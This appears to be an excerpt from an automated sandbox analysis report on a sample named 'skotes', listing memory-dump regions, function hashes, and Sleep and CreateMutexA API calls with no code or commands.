Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 15bdd5174287e1e303d2c4ec70193281ca6f06e832f77abb65947597cbdc19c9
Instruction ID: fc1cf9253bb25ea747933d786587b817d92a4c23eb27756cf9fa846633b88a6f
Opcode Fuzzy Hash: 15bdd5174287e1e303d2c4ec70193281ca6f06e832f77abb65947597cbdc19c9
Instruction Fuzzy Hash: 7F312671B112088BEB0CDBB8DC89B7DBB61EBC5328F248618E528DB3D5C77599808712

Function 008FA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 1ba64069f9de961a665144f9f503260e51caa4bbaf3d31320b5b9eb1d95acc83
Instruction ID: d42867888628d7b81c6ed0a9c0213ec72db4aa6bca4af683abc2e02dc25aeb8e
Opcode Fuzzy Hash: 1ba64069f9de961a665144f9f503260e51caa4bbaf3d31320b5b9eb1d95acc83
Instruction Fuzzy Hash: 663127B17142088BEB0CEB78DC89B7DBB72EBC1334F248618E568D72D5C77599808653

Function 008F9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: b2513c0dea0a8a9cec6be0bb5a8e1f6bd357f92b39a14065818719ff3ebdfc8c
Instruction ID: 577ac70844a9334810ec75e8efb028676661c6dda1dc6d2c4b00cb36a0403eba
Opcode Fuzzy Hash: b2513c0dea0a8a9cec6be0bb5a8e1f6bd357f92b39a14065818719ff3ebdfc8c
Instruction Fuzzy Hash: 19216A717142089BEB189F7CEC85B7CB761FBC1324F208228E568C77D5C7B659808712

Function 008FA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9bd842a566450d94ba961db7d7e93ca2b892a19ee79dcb65417fa804d028603e
Instruction ID: 905dfd03b1191e907f739b0cf7db4d7596ff1d44379b12a698e737025022f7d6
Opcode Fuzzy Hash: 9bd842a566450d94ba961db7d7e93ca2b892a19ee79dcb65417fa804d028603e
Instruction Fuzzy Hash: 2F216BB07652098AF72C67BC9C96B3D7751FB81724F208925E70CD72C1CAE645404153

Function 008FA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 008FA963
CreateMutexA.KERNELBASE(00000000,00000000,00953254), ref: 008FA981

Memory Dump Source

Source File: 00000003.00000002.2129372535.00000000008F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000003.00000002.2125989913.00000000008F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129372535.0000000000952000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129710627.0000000000959000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129809682.000000000095B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2129844524.0000000000967000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130029159.0000000000ABF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130058027.0000000000AC1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AD4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130088715.0000000000AE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130149235.0000000000AEA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130177859.0000000000AEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130209223.0000000000AF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130238869.0000000000AF7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130258501.0000000000AF8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130285723.0000000000AF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130314104.0000000000AFA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130343691.0000000000AFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130377900.0000000000B0D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130407121.0000000000B0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130435434.0000000000B12000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130463785.0000000000B13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130494407.0000000000B14000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130513928.0000000000B17000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130542648.0000000000B18000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130571774.0000000000B1A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130601712.0000000000B1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130632593.0000000000B29000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130664972.0000000000B3E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130694571.0000000000B46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130727542.0000000000B4D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130756249.0000000000B4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130784043.0000000000B4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130815299.0000000000B54000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130845980.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130873177.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130906655.0000000000B71000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130934277.0000000000B73000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130955162.0000000000B74000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2130983058.0000000000B77000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131014285.0000000000B78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131044456.0000000000B7C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131074407.0000000000B7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131103454.0000000000B7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131138904.0000000000B85000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131167750.0000000000B89000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131210388.0000000000BA6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BA8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131242109.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131311489.0000000000BDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131340771.0000000000BDE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131371485.0000000000BF2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131402146.0000000000BF3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131431152.0000000000BF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131460230.0000000000BF9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131491491.0000000000BFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131521992.0000000000C09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2131550877.0000000000C0B000.00000080.00000001.01000000.00000008.sdmpDownload File

